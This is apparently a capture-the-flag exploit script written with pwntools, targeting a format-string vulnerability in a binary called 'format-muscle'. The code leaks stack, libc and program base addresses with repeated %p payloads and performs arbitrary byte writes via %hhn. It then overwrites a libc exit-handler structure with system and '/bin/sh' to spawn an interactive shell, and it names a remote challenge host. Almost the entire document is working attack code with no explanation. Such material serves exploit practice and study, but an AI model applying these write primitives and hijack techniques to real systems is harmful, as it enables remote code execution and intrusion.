1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149
| from pwn import *
import itertools import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1 IP = "47.100.139.115" PORT = 30708
elf = context.binary = ELF('./format-muscle')
libc = ELF('./libc.so.6')
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_ucontext( src: int, rsp=0, rbx=0, rbp=0, r12=0, r13=0, r14=0, r15=0, rsi=0, rdi=0, rcx=0, r8=0, r9=0, rdx=0, rip=0xDEADBEEF, ) -> bytearray: b = bytearray(0x200) b[0xE0:0xE8] = p64(src) b[0x1C0:0x1C8] = p64(0x1F80)
b[0xA0:0xA8] = p64(rsp) b[0x80:0x88] = p64(rbx) b[0x78:0x80] = p64(rbp) b[0x48:0x50] = p64(r12) b[0x50:0x58] = p64(r13) b[0x58:0x60] = p64(r14) b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) b[0x70:0x78] = p64(rsi) b[0x68:0x70] = p64(rdi) b[0x98:0xA0] = p64(rcx) b[0x28:0x30] = p64(r8) b[0x30:0x38] = p64(r9) b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes): got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT") plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr return got, flat( p64(0), p64(got + 0x218), p64(libc.symbols["setcontext"] + 32), p64(plt_trampoline) * 0x40, create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs), )
p = connect()
gdb_comm = ''' b *$rebase(0x11F5) c '''
def write_byte(byte, addr): sl(b'%c%c%c%c' + f'.%{byte + 248}c%c'.encode() + b'%c%c%hhn' + p64(addr))
def write_qword(qword, addr): for i in range(8): write_byte((qword >> (8 * i)) & 0xff, addr + i)
payload = b'%p' * 34 + b'-%p' payload += b'%p' * 7 + b'-%p'
sl(payload)
ru('-') stack = int(r(14),16) ru('-') libc_base = int(r(14),16) - (0x75fb9b010560 - 0x75fb9af61000) rbp = stack - (0x7ffe2b6f52c8 - 0x7ffe2b6f5280) input_addr = rbp - 0x110 success(hex(libc_base)) success(hex(rbp))
system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh')) pop_rdi_ret = libc_base + 0x00000000000152a1 ret = libc_base + 0x0000000000019e9c
payload = b'\x00' * 255 sl(payload)
payload = b'%p' * 46 + b'-%p' sl(payload) ru('-') elf_base = int(r(14),16) - (0x61b7c38d50a6 - 0x61b7c38d4000) success(hex(elf_base))
payload = b'\x00' * 255 sl(payload)
struct_fl_addr = libc_base + 0xafc48 fake_struct_fl_addr = elf_base + 0x4200
write_qword(fake_struct_fl_addr, struct_fl_addr) write_qword(fake_struct_fl_addr, fake_struct_fl_addr) write_qword(system, fake_struct_fl_addr + 0x100) write_qword(binsh, fake_struct_fl_addr + 0x200)
sl("quit")
p.interactive()
|